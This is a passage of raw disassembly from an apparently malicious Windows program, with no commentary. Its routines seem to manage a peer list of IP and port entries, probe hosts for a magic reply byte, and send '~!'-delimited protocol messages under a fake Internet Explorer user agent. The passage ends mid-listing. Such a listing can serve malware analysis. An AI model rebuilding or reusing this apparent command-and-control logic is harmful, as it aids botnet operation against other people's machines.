		pop	ecx
		div	ecx
		mov	[esi+11Ch], eax
		mov	edi, eax
		call	sub_40CF34
		xor	edx, edx
		div	edi
		xor	ecx, ecx
		push	6
		mov	eax, edi
		mov	[esi+120h], edx
		pop	edx
		mul	edx
		seto	cl
		neg	ecx
		or	ecx, eax
		push	ecx
		call	sub_40D0BB
		pop	ecx
		lea	edi, [esi+118h]
		push	eax
		mov	ecx, edi
		call	sub_408034
		push	ebx
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40CCF7
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	[esi+11Ch], ebx
		jbe	short loc_406735
		mov	[ebp+var_10], ebx


loc_406712:				; CODE XREF: sub_4065D1+162j
		mov	eax, [edi]
		mov	ecx, [ebp+var_10]
		add	eax, ecx
		movzx	ecx, word ptr [eax+4]
		push	ecx
		push	dword ptr [eax]
		lea	ecx, [ebp+var_2C]
		call	sub_401219
		add	[ebp+var_10], 6
		inc	ebx
		cmp	ebx, [esi+11Ch]
		jb	short loc_406712


loc_406735:				; CODE XREF: sub_4065D1+13Cj
		cmp	[ebp+arg_0], 0
		jz	short loc_406744
		push	[ebp+arg_0]
		call	sub_40D0B6
		pop	ecx


loc_406744:				; CODE XREF: sub_4065D1+168j
		cmp	[ebp+var_4], 0
		jz	short loc_406753
		push	[ebp+var_4]
		call	sub_40D0B6
		pop	ecx


loc_406753:				; CODE XREF: sub_4065D1+177j
		mov	al, 1


loc_406755:				; CODE XREF: sub_4065D1+DEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4065D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40675C	proc near		; CODE XREF: sub_40694B+12Bp

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, [ebp+arg_0]
		movzx	eax, word ptr [esi+4]
		push	edi
		push	eax
		push	dword ptr [esi]
		mov	edi, ecx
		lea	ecx, [ebp+var_10]
		call	sub_401219
		push	[ebp+var_C]
		call	ds:dword_4181AC
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	3
		push	ecx
		movzx	ecx, word ptr [esi+4]
		push	offset aAnonymous ; "anonymous"
		push	ecx
		push	eax
		push	dword ptr [edi+124h]
		call	ds:dword_418160
		pop	edi
		pop	esi
		leave
		retn	4
sub_40675C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4067A5	proc near		; DATA XREF: .rdata:off_41BDE4o

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		lea	ecx, [ebp+var_14]
		xor	ebx, ebx
		call	sub_40DD7C
		push	3
		push	50h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_14]
		call	sub_40123F
		test	eax, eax
		jle	short loc_406801
		push	ebx
		push	1
		lea	eax, [ebp+arg_0+3]
		push	eax
		lea	ecx, [ebp+var_14]
		mov	byte ptr [ebp+arg_0+3],	bl
		call	sub_40DDB5
		lea	eax, [ebp+var_8]
		push	eax
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		lea	ecx, [ebp+var_14]
		mov	[ebp+var_8], 3
		call	sub_40DE7D
		cmp	eax, 1
		jnz	short loc_406801
		cmp	[ebp+var_1], 0E3h
		jnz	short loc_406801
		mov	bl, al


loc_406801:				; CODE XREF: sub_4067A5+22j
					; sub_4067A5+52j ...
		lea	ecx, [ebp+var_14]
		call	sub_40DD92
		mov	al, bl
		pop	ebx
		leave
		retn	4
sub_4067A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_406810	proc near		; CODE XREF: sub_4068A2+62p
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_40682B
		mov	ecx, edi
		call	sub_416130
		push	edi
		call	sub_40D0B6
		and	dword ptr [esi], 0
		pop	ecx


loc_40682B:				; CODE XREF: sub_406810+8j
		pop	edi
		pop	esi
		retn
sub_406810	endp


; =============== S U B	R O U T	I N E =======================================



sub_40682E	proc near		; CODE XREF: sub_406E37+1E6p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_40684F
		cmp	ebx, esi
		jz	short loc_40684F
		mov	ecx, esi
		call	sub_416130
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_40684F:				; CODE XREF: sub_40682E+Dj
					; sub_40682E+11j
		mov	[edi], ebx
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	4
sub_40682E	endp


; =============== S U B	R O U T	I N E =======================================



sub_406859	proc near		; CODE XREF: sub_4068A2+57p
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_406874
		mov	ecx, edi
		call	sub_4169EF
		push	edi
		call	sub_40D0B6
		and	dword ptr [esi], 0
		pop	ecx


loc_406874:				; CODE XREF: sub_406859+8j
		pop	edi
		pop	esi
		retn
sub_406859	endp


; =============== S U B	R O U T	I N E =======================================



sub_406877	proc near		; CODE XREF: sub_406E37+224p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_406898
		cmp	ebx, esi
		jz	short loc_406898
		mov	ecx, esi
		call	sub_4169EF
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_406898:				; CODE XREF: sub_406877+Dj
					; sub_406877+11j
		mov	[edi], ebx
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	4
sub_406877	endp


; =============== S U B	R O U T	I N E =======================================



sub_4068A2	proc near		; CODE XREF: sub_406BAB+3p
		push	esi
		mov	esi, ecx
		push	edi
		push	dword ptr [esi+0ACh]
		mov	dword ptr [esi], offset	off_41BDEC
		mov	dword ptr [esi+94h], offset off_41BDE4
		mov	dword ptr [esi+98h], offset off_41BDDC
		call	ds:dword_4180A8
		lea	ecx, [esi+0E8h]
		call	sub_40B150
		lea	ecx, [esi+0D0h]
		call	sub_40B150
		mov	eax, [esi+124h]
		test	eax, eax
		jz	short loc_4068F3
		push	eax
		call	ds:dword_41817C


loc_4068F3:				; CODE XREF: sub_4068A2+48j
		lea	ecx, [esi+12Ch]
		call	sub_406859
		lea	ecx, [esi+128h]
		call	sub_406810
		lea	ecx, [esi+118h]
		call	sub_4093F0
		lea	eax, [esi+0B4h]
		push	eax
		call	ds:dword_4180D8
		push	dword ptr [esi+0B0h]
		mov	edi, ds:dword_4180A4
		call	edi
		push	dword ptr [esi+0ACh]
		call	edi
		lea	ecx, [esi+0A8h]
		call	sub_4093F0
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	sub_403DAE
sub_4068A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40694B	proc near		; DATA XREF: sub_406E37+1A5o

var_24		= word ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		push	0Ch
		mov	esi, ecx
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_406970
		mov	ecx, eax
		call	sub_40DD7C
		mov	ebx, eax
		mov	[ebp+var_8], ebx
		jmp	short loc_406977
; ---------------------------------------------------------------------------


loc_406970:				; CODE XREF: sub_40694B+15j
		and	[ebp+var_8], 0
		mov	ebx, [ebp+var_8]


loc_406977:				; CODE XREF: sub_40694B+23j
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		call	dword ptr [eax+20h]
		mov	edi, eax
		jmp	short loc_406997
; ---------------------------------------------------------------------------


loc_406983:				; CODE XREF: sub_40694B+59j
		cmp	dword ptr [ebx+8], 2740h
		jnz	short loc_4069B7
		push	2710h
		call	ds:dword_4180C8


loc_406997:				; CODE XREF: sub_40694B+36j
		push	0
		push	edi
		mov	ecx, ebx
		call	sub_40DA80
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406983
		push	7FFFFFFFh
		mov	ecx, ebx
		call	sub_40D793
		jmp	loc_406B06
; ---------------------------------------------------------------------------


loc_4069B7:				; CODE XREF: sub_40694B+3Fj
		mov	ecx, esi
		call	sub_40387F
		jmp	loc_406B22
; ---------------------------------------------------------------------------


loc_4069C3:				; CODE XREF: sub_40694B+1CDj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	1
		mov	ecx, ebx
		mov	[ebp+var_24], 2
		mov	[ebp+var_10], 10h
		call	sub_40DF85
		mov	edi, eax
		test	edi, edi
		jz	loc_406B06
		mov	al, [esi+0A0h]
		neg	al
		mov	ecx, esi
		sbb	eax, eax
		and	eax, 0BCBBEACCh
		add	eax, 8A35EE72h
		push	eax
		push	edi
		call	sub_406443
		test	al, al
		jz	loc_406AFE
		cmp	byte ptr [esi+0A0h], 0
		jz	loc_406ADB
		mov	eax, [edi]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	1
		lea	ecx, [ebp+var_1]
		push	ecx
		mov	ecx, edi
		mov	[ebp+var_C], 0Ah
		call	dword ptr [eax+4]
		cmp	eax, 1
		jnz	loc_406AFE
		cmp	[ebp+var_1], 4Bh
		jnz	loc_406AFE
		cmp	byte ptr [esi+0A0h], 0
		jz	loc_406ADB
		and	[ebp+var_C], 0
		cmp	dword ptr [esi+11Ch], 0
		mov	ebx, [esi+120h]
		jbe	short loc_406A9D


loc_406A68:				; CODE XREF: sub_40694B+150j
		mov	eax, ebx
		imul	eax, 6
		add	eax, [esi+118h]
		mov	ecx, esi
		push	eax
		call	sub_40675C
		test	eax, eax
		mov	[ebp+var_14], eax
		jnz	short loc_406AB5
		lea	eax, [ebx+1]
		xor	edx, edx
		div	dword ptr [esi+11Ch]
		inc	[ebp+var_C]
		mov	eax, [ebp+var_C]
		cmp	eax, [esi+11Ch]
		mov	ebx, edx
		jb	short loc_406A68


loc_406A9D:				; CODE XREF: sub_40694B+11Bj
		push	dword ptr [esi+0B0h]
		mov	byte ptr [esi+0A0h], 0
		call	ds:dword_4180A8


loc_406AB0:				; CODE XREF: sub_40694B+18Ej
		mov	ebx, [ebp+var_8]
		jmp	short loc_406AFA
; ---------------------------------------------------------------------------


loc_406AB5:				; CODE XREF: sub_40694B+135j
		push	1038h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_406AD3
		push	[ebp+var_14]
		mov	edx, edi
		push	edx
		mov	ecx, eax
		xor	edi, edi
		call	sub_40856C


loc_406AD3:				; CODE XREF: sub_40694B+177j
		mov	[esi+120h], ebx
		jmp	short loc_406AB0
; ---------------------------------------------------------------------------


loc_406ADB:				; CODE XREF: sub_40694B+CCj
					; sub_40694B+104j
		push	edi
		mov	ecx, esi
		call	sub_4065D1
		test	al, al
		jz	short loc_406AFA
		push	dword ptr [esi+0B0h]
		mov	byte ptr [esi+0A0h], 1
		call	ds:dword_4180A8


loc_406AFA:				; CODE XREF: sub_40694B+168j
					; sub_40694B+19Aj
		test	edi, edi
		jz	short loc_406B06


loc_406AFE:				; CODE XREF: sub_40694B+BFj
					; sub_40694B+EDj ...
		mov	eax, [edi]
		push	1
		mov	ecx, edi
		call	dword ptr [eax]


loc_406B06:				; CODE XREF: sub_40694B+67j
					; sub_40694B+9Aj ...
		push	1
		push	0
		push	dword ptr [esi+0ACh]
		call	ds:dword_4180B0
		test	eax, eax
		jnz	loc_4069C3
		test	ebx, ebx
		jz	short loc_406B2A


loc_406B22:				; CODE XREF: sub_40694B+73j
		mov	eax, [ebx]
		push	1
		mov	ecx, ebx
		call	dword ptr [eax]


loc_406B2A:				; CODE XREF: sub_40694B+1D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40694B	endp


; =============== S U B	R O U T	I N E =======================================



sub_406B31	proc near		; CODE XREF: sub_406BC7+Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, ecx
		xor	ebx, ebx


loc_406B3A:				; CODE XREF: sub_406B31+34j
		push	[esp+0Ch+arg_4]
		movzx	eax, byte ptr [esi+0A4h]
		push	[esp+10h+arg_0]
		mov	ecx, esi
		push	eax
		call	sub_406548
		test	eax, eax
		jg	short loc_406B69
		push	7530h
		inc	edi
		call	ds:dword_4180C8
		inc	ebx
		cmp	ebx, 5
		jl	short loc_406B3A
		jmp	short loc_406B6B
; ---------------------------------------------------------------------------


loc_406B69:				; CODE XREF: sub_406B31+22j
		xor	edi, edi


loc_406B6B:				; CODE XREF: sub_406B31+36j
		test	edi, edi
		jz	short loc_406B76
		mov	ecx, esi
		call	sub_40387F


loc_406B76:				; CODE XREF: sub_406B31+3Cj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_406B31	endp


; =============== S U B	R O U T	I N E =======================================



sub_406B7C	proc near		; CODE XREF: sub_406CFE+B3p
					; sub_4094E6+2Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi], 0
		push	edi
		jz	short loc_406B8A
		call	sub_401F70


loc_406B8A:				; CODE XREF: sub_406B7C+7j
		mov	edi, [esp+8+arg_0]
		mov	eax, edi
		shl	eax, 2
		push	1
		push	eax
		call	sub_40CA2C
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jz	short loc_406BA6
		mov	[esi+4], edi


loc_406BA6:				; CODE XREF: sub_406B7C+25j
		pop	edi
		pop	esi
		retn	4
sub_406B7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_406BAB	proc near		; DATA XREF: .rdata:off_41BDECo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4068A2
		test	[esp+4+arg_0], 1
		jz	short loc_406BC1
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_406BC1:				; CODE XREF: sub_406BAB+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_406BAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_406BC7	proc near		; CODE XREF: sub_406DF2+24p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		or	esi, 0FFFFFFFFh


loc_406BCE:				; CODE XREF: sub_406BC7+17j
		push	[esp+8+arg_0]
		mov	ecx, edi
		push	esi
		call	sub_406B31
		inc	esi
		cmp	esi, 2
		jl	short loc_406BCE
		pop	edi
		pop	esi
		retn	4
sub_406BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406BE5	proc near		; DATA XREF: .rdata:0041BDE0o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		xor	ebx, ebx
		lea	ecx, [ebp+var_8]
		mov	[ebp+var_1], bl
		call	sub_40DB48
		push	ebx
		push	offset a8	; "8~!"
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	dword ptr [edi-28h]
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		mov	esi, offset asc_41BCC0 ; "~!"
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	23h
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		cmp	[ebp+arg_4], ebx
		mov	eax, offset a0	; "0"
		jz	short loc_406C48
		mov	eax, offset a1	; "1"


loc_406C48:				; CODE XREF: sub_406BE5+5Cj
		push	ebx
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		mov	eax, [ebp+arg_0]
		push	ebx
		push	dword ptr [eax]
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		mov	ecx, [edi-94h]
		mov	eax, [ecx]
		call	dword ptr [eax+20h]
		push	eax
		lea	esi, [edi-98h]
		push	7F000001h
		mov	ecx, esi
		call	sub_404205
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406CEC
		push	edi
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	sub_4048D8
		test	al, al
		jz	short loc_406CD0
		cmp	[ebp+arg_4], ebx
		jz	short loc_406CCC
		push	offset aHttp	; "HTTP/"
		push	[ebp+var_10]
		call	sub_40CE77
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_406CD0
		mov	ecx, [ebp+arg_4]
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4045A0


loc_406CCC:				; CODE XREF: sub_406BE5+C6j
		mov	[ebp+var_1], 1


loc_406CD0:				; CODE XREF: sub_406BE5+C1j
					; sub_406BE5+D9j
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_406CE4
		push	eax
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	sub_40CCC5
		pop	ecx


loc_406CE4:				; CODE XREF: sub_406BE5+F0j
		mov	eax, [edi]
		push	1
		mov	ecx, edi
		call	dword ptr [eax]


loc_406CEC:				; CODE XREF: sub_406BE5+A7j
		lea	ecx, [ebp+var_8]
		call	sub_40DB59
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_406BE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CFE	proc near		; DATA XREF: .rdata:off_41BDDCo

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		lea	ecx, [ebp+var_8]
		mov	[ebp+var_1], bl
		call	sub_40DB48
		push	ebx
		push	offset a10	; "10~!"
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	dword ptr [esi-28h]
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		push	offset asc_41BCC0 ; "~!"
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	23h
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	ecx, [esi-98h]
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], ebx
		call	sub_4048D8
		test	al, al
		jz	short loc_406DD9
		push	4
		push	[ebp+var_14]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40CCF7
		mov	eax, [ebp+var_10]
		lea	ecx, [eax-4]
		mov	eax, [ebp+var_C]
		mov	edx, eax
		shl	edx, 2
		add	esp, 0Ch
		cmp	edx, ecx
		jbe	short loc_406DAB
		mov	eax, [ebp+var_14]
		cmp	eax, ebx
		jz	short loc_406D9B
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], ebx
		call	sub_40CCC5
		pop	ecx


loc_406D9B:				; CODE XREF: sub_406CFE+8Ej
					; sub_406CFE+F2j
		lea	ecx, [ebp+var_8]
		call	sub_40DB59
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_406DAB:				; CODE XREF: sub_406CFE+87j
		mov	esi, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_406B7C
		mov	eax, [ebp+var_14]
		add	eax, 4
		xor	ecx, ecx
		cmp	[ebp+var_C], ebx
		jbe	short loc_406DD5
		push	edi


loc_406DC4:				; CODE XREF: sub_406CFE+D4j
		mov	edi, [eax]
		mov	edx, [esi]
		mov	[edx+ecx*4], edi
		add	eax, 4
		inc	ecx
		cmp	ecx, [ebp+var_C]
		jb	short loc_406DC4
		pop	edi


loc_406DD5:				; CODE XREF: sub_406CFE+C3j
		mov	[ebp+var_1], 1


loc_406DD9:				; CODE XREF: sub_406CFE+64j
		mov	eax, [ebp+var_14]
		cmp	eax, ebx
		jz	short loc_406DED
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], ebx
		call	sub_40CCC5
		pop	ecx


loc_406DED:				; CODE XREF: sub_406CFE+E0j
		mov	bl, [ebp+var_1]
		jmp	short loc_406D9B
sub_406CFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406DF2	proc near		; DATA XREF: sub_406E37+169o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+0ACh]
		mov	[ebp+var_8], eax
		mov	eax, [esi+0B0h]
		mov	[ebp+var_4], eax


loc_406E0C:				; CODE XREF: sub_406DF2+3Ej
		movzx	eax, byte ptr [esi+0A0h]
		push	eax
		mov	ecx, esi
		call	sub_406BC7
		push	0DBBA0h
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	2
		call	ds:dword_418128
		test	eax, eax
		jnz	short loc_406E0C
		pop	esi
		leave
		retn	4
sub_406DF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E37	proc near		; CODE XREF: sub_403389+F7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	1
		push	[ebp+arg_8]
		mov	esi, ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403CCB
		lea	eax, [esi+94h]
		mov	dword ptr [eax], offset	off_41BDCC
		lea	ecx, [esi+98h]
		mov	dword ptr [ecx], offset	off_41BDCC
		xor	ebx, ebx
		mov	dword ptr [ecx], offset	off_41BDDC
		mov	dword ptr [esi], offset	off_41BDEC
		mov	dword ptr [eax], offset	off_41BDE4
		mov	[esi+9Ch], ebx
		mov	[esi+0A0h], bl
		push	1
		lea	ecx, [esi+0ACh]
		mov	[esi+0A8h], ebx
		call	sub_4012FC
		push	ebx
		lea	ecx, [esi+0B0h]
		call	sub_4012FC
		lea	eax, [esi+0B4h]
		push	eax
		call	ds:dword_4180D4
		lea	edi, [esi+0D0h]
		mov	[edi+14h], ebx
		mov	[edi+8], ebx
		mov	[edi+4], ebx
		xor	eax, eax
		mov	[edi+10h], eax
		lea	eax, [esi+0E8h]
		mov	[eax+14h], ebx
		mov	[eax+8], ebx
		mov	[eax+4], ebx
		xor	ecx, ecx
		mov	[eax+10h], ecx
		lea	eax, [esi+100h]
		mov	[eax+10h], ecx
		mov	[eax+14h], ebx
		mov	[eax+8], ebx
		mov	[eax+4], ebx
		mov	[esi+118h], ebx
		mov	[esi+11Ch], ebx
		mov	[esi+120h], ebx
		push	ebx
		mov	[esi+128h], ebx
		push	offset dword_421D04
		mov	[esi+12Ch], ebx
		call	ds:dword_4180F0
		push	4
		lea	eax, [ebp+arg_8]
		push	eax
		push	49h
		push	ebx
		mov	[ebp+arg_8], 0FFh
		call	ds:dword_418174
		push	4
		lea	eax, [ebp+arg_8]
		push	eax
		push	4Ah
		push	ebx
		call	ds:dword_418174
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE	6.0; Wind"...
		call	ds:dword_418168
		cmp	eax, ebx
		mov	[esi+124h], eax
		jnz	short loc_406F7B
		push	ebx
		push	ebx
		push	ebx
		push	1
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE	6.0; Wind"...
		call	ds:dword_418168
		cmp	eax, ebx
		mov	[esi+124h], eax
		jnz	short loc_406F7B
		mov	ecx, esi
		call	sub_40387F
		jmp	loc_407072
; ---------------------------------------------------------------------------


loc_406F7B:				; CODE XREF: sub_406E37+11Cj
					; sub_406E37+136j
		push	ebx
		call	sub_40CFAE
		push	eax
		call	sub_40CF2A
		pop	ecx
		pop	ecx
		call	sub_40CF34
		and	eax, 8000001Fh
		jns	short loc_406F9A
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_406F9A:				; CODE XREF: sub_406E37+15Cj
		mov	[esi+0A4h], eax
		mov	eax, offset sub_406DF2
		push	ebx
		mov	ecx, edi
		mov	[edi+10h], eax
		mov	[edi+14h], ebx
		mov	[edi+8], esi
		mov	[edi+4], ebx
		call	sub_40B3A7
		lea	ecx, [esi+100h]
		mov	eax, offset sub_4062A6
		push	ebx
		mov	[ecx+10h], eax
		mov	[ecx+14h], ebx
		mov	[ecx+8], esi
		mov	[ecx+4], ebx
		call	sub_40B3A7
		lea	ecx, [esi+0E8h]
		mov	eax, offset sub_40694B
		push	ebx
		mov	[ecx+10h], eax
		mov	[ecx+14h], ebx
		mov	[ecx+8], esi
		mov	[ecx+4], ebx
		call	sub_40B3A7
		push	80h
		call	sub_40D0BB
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407012
		lea	ecx, [esi+94h]
		push	ecx
		mov	ecx, eax
		call	sub_41634A
		jmp	short loc_407014
; ---------------------------------------------------------------------------


loc_407012:				; CODE XREF: sub_406E37+1C9j
		xor	eax, eax


loc_407014:				; CODE XREF: sub_406E37+1D9j
		lea	edi, [esi+128h]
		push	eax
		mov	ecx, edi
		call	sub_40682E
		mov	ecx, [edi]
		call	sub_41537B
		test	al, al
		jz	short loc_407034
		or	dword ptr [esi+9Ch], 1


loc_407034:				; CODE XREF: sub_406E37+1F4j
		push	58h
		call	sub_40D0BB
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407050
		lea	edx, [esi+98h]
		push	edx
		mov	ecx, eax
		call	sub_416874
		jmp	short loc_407052
; ---------------------------------------------------------------------------


loc_407050:				; CODE XREF: sub_406E37+207j
		xor	eax, eax


loc_407052:				; CODE XREF: sub_406E37+217j
		lea	edi, [esi+12Ch]
		push	eax
		mov	ecx, edi
		call	sub_406877
		mov	ecx, [edi]
		call	sub_416829
		test	al, al
		jz	short loc_407072
		or	dword ptr [esi+9Ch], 2


loc_407072:				; CODE XREF: sub_406E37+13Fj
					; sub_406E37+232j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_406E37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40707B	proc near		; CODE XREF: sub_40746D+6Fp
					; sub_4074FB+7EBp ...

arg_0		= byte ptr  8
arg_1		= byte ptr  9

		push	ebp
		mov	ebp, esp
		mov	al, [ebp+arg_0]
		mov	[ebp+arg_0], al
		push	esi
		lea	eax, [ebp+arg_0]
		push	eax
		mov	esi, ecx
		mov	[ebp+arg_1], 0
		call	sub_40CD83
		pop	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_40DBA2
		pop	esi
		pop	ebp
		retn	4
sub_40707B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4070A6	proc near		; CODE XREF: sub_402624+1DAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40DB48
		lea	edi, [esi+4]
		mov	ecx, edi
		call	sub_40DB48
		push	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_4012E7
		push	[esp+8+arg_4]
		mov	ecx, esi
		call	sub_4012E7
		mov	eax, [esp+8+arg_8]
		mov	[esi+8], eax
		pop	edi
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_4070A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4070DD	proc near		; CODE XREF: sub_4074FB+3A7p
					; sub_4074FB+418p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	1
		push	0
		push	0
		push	dword ptr [edi+4]
		call	sub_401170
		mov	esi, eax
		mov	eax, [edi]
		mov	ecx, edx
		xor	edx, edx
		add	esi, eax
		mov	eax, [esp+8+arg_4]
		adc	ecx, edx
		cdq
		add	esi, eax
		adc	ecx, edx
		mov	eax, ecx
		sar	eax, 1Fh
		mov	eax, [esp+8+arg_8]
		pop	edi
		mov	[eax], esi
		mov	[eax+4], ecx
		pop	esi
		retn	0Ch
sub_4070DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch


sub_407119	proc near		; CODE XREF: sub_4074FB+211p

var_94		= byte ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_80		= dword	ptr -80h
var_78		= dword	ptr -78h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
